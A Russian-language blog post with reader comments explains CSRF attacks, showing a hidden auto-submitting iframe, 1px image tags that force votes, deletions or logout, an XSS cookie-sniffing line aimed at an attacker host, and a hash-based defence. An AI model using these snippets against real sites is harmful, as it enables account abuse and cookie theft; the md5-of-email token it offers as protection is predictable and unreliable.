CSRF-атаки

CSRF

В сети часто можно встретить темы про XSS. Происходят такие атаки из-за неправильной фильтрации данных. Но есть еще CSRF-атаки, которые не зависят от фильтрации данных.

Пример POST-запроса

Рассмотрим форму личного сообщения на сайте какой-нибудь социальной сети.

CSRF

Обычно html-код выглядит так

<form action="" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="submit" name="submit" value="Отправить" />
</form>

Никакой капчи или другой защиты в этой форме нет. Действительно, зачем какая-то защита, если мы уверены, что пользователь авторизовался на сайте. Данная форма не подвержена XSS и с первого взгляда выглядит довольно безопасно.

Обработка формы на стороне сервера

<?php
if (isset($_POST['submit']) && $_SESSION['user']) {
    $subject = htmlspecialchars($_POST['subject']);
    $text = htmlspecialchars($_POST['text']);
    // записываем в базу данных
    mysql_query('INSERST INTO ...');
}
?>

$_SESSION['user'] – условие того, что пользователь авторизован.

Пользователь авторизовался на сайте. Затем он случайно зашел на сайт хакера, на котором есть скрытый iframe

<html>
<head><title>Сайт хакера</title></head>
<body>
    <script type="text/javascript">
    function submit_form(){
        window.evilframe.document.forms[0].submit();
    }
    </script>
    <iframe name="evilframe" src="form.html" style="display:none" onload="submit_form()"></iframe>
</body>
</html>

В iframe "form.html" подгружается код.

<form action="http://site.ru/mail.php" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="submit" name="submit" value="Отправить" />
</form>

Что происходит. JavaScript автоматически отправляет форму, заполненную спамом, на сайт социальной сети. Вместе с заспамленной формой в запросе отправляются куки этого пользователя. Это происходит в полном соответствии с протоколом HTTP (форму можно отправить с другого домена, точно так же как можно подгрузить картинку с другого домена). На обработчик формы приходит точно такой же запрос, как если бы пользователь отправил бы его с основного сайта. Только реферер будет другим (реферер сайта хакера, так как с него ушел запрос).

Таким образом, пользователь даже не заметит, что форма была отправлена. Всё происходит в фоновом режиме.

Пример GET-запроса

Теперь рассмотрим пример GET-запроса. Например, на сайте есть голосование, реализованное через AJAX. На сайте хакера размещаем картинку размером 1px и указываем путь к скрипту голосования.

<img src=”http://www.vkontakte.ru/vote.php?id=3” width=1px height=1px />

id=3 – за кого мы голосуем.
Таким образом, как только пользователь зайдет на сайт хакера, то он проголосует за кого-то, причем сам пользователь этого не увидит.

Пример удаления страницы

<img src=»http://site.ru/page.php?id=4&action=delete″ width=1px height=1px />

Для подобных атак необходимо чтобы пользователь был авторизован на сайте социальной сети в момент атаки. Причем пользователя не спасет суперсложный пароль или последняя версия антивируса. Подобные атаки не противоречат протоколу HTTP и зависят только от отсутствия защиты от таких атак на самом сайте.

CSRF-атака, в отличие от XSS, не возвращает ответ. Т.е. ответ от сервера уже не может быть получен хакером. Ответ от сервера конечно приходит, но приходит он в браузер пользователя, а не на сайт хакера.

В XSS хакер может получить ответ от сервера. Например, встроить вредоносный код на сайте жертвы и таким образом воровать куки.

<img src=”http://www.hacker.ru/sniffer.php?cookie=document.cookie” width=1px height=1px />

Но, как я показал выше, хватает способов взлома и без получения ответа от сервера, посылая только запрос «в одну сторону».

Защита

В предыдущем абзаце содержится ответ на вопрос о способе защиты от CSRF. Примеры атак, приведенных выше, показывают, что для всех пользователей запросы будут одинаковые. Введем для каждого пользователя какое-то уникальное значение в скрытый параметр формы, например md5($user_email)

<form action="" method="post">
    <input type="text" name="subject" /><br />
    <textarea name="text"></textarea><br />
    <input type="hidden" name="hash" value="<?=md5($_SESSION['user_email'])?>" />
    <input type="submit" name="submit" value="Отправить" />
</form>

Проверяем на сервере

<?php
if (isset($_POST['submit']) && $_SESSION['user'] && md5($_SESSION['user_email'])==$_POST['hash']) {
    $subject = htmlspecialchars($_POST['subject']);
    $text = htmlspecialchars($_POST['text']);
    // записываем в базу данных
    mysql_query('INSERST INTO ...');
}
?>

Хакер не может загрузить эту форму, распарсить ее и узнать значение hash. На этом основана защита. Вот в принципе и всё. Для примера можете посмотреть формы, AJAX-запросы в Контакте. Там везде присутствует подобный хэш.

Можно еще проверять реферер, но в этом случае могут пострадать нормальные пользователи. Некоторые фаерволы и прокси обрезают реферер.

#1

Мда... надо будет попробовать как-нибудь так побаловаться =)

Ярослав, 5.07.2010 - 11:54
#2

Ха-ха
<img src="http://site.ru/login.php?do=logout"/>
Я так на одном самописном форуме некоторые темы "закрывал". Сейчас тоже работает.

Сергей, 6.07.2010 - 00:55
#3

да, есть такое:)
Поправил твой коммент, чтобы люди не баловались.
Самописные движки этим славятся, потому что CSRF не столь очевидная дыра как XSS. Многие начинающие разработчики не догадываются об этом.
В Контакте пару лет назад можно было менять сайт в чужом профиле через CSRF. Сейчас уже давно во все формы понапиханы хэши.

admin, 6.07.2010 - 11:07
 
английский язык для начинающих
Ашманов Египет Москва РХТУ Россия США Снежинск Таиланд Тушино Урал Челябинская область Яндекс алкоголь английский язык баги база данных безопасность бизнес блоги взлом видео выставка выходные горные лыжи дайвинг дауншифтинг допинг идиотизм инвентарь интернет книги кэширование мозг море музей ноутбук образование оптимизация отдых отпуск пароль плагин пора сваливать программирование программисты путешествия работа работоспособность радиация реклама самогоноварение собеседование социальные сети спам стартап статистика страны тайм-менеджмент техника учеба фантастика фото фриланс хакер экология электронные деньги юмор Ajax CMS DbSimple DDOS email FireFox Google honda htaccess HTML javascript jQuery life md5 MySQL PHP SEO soft SQL vkontakte Web web 2.0 wordpress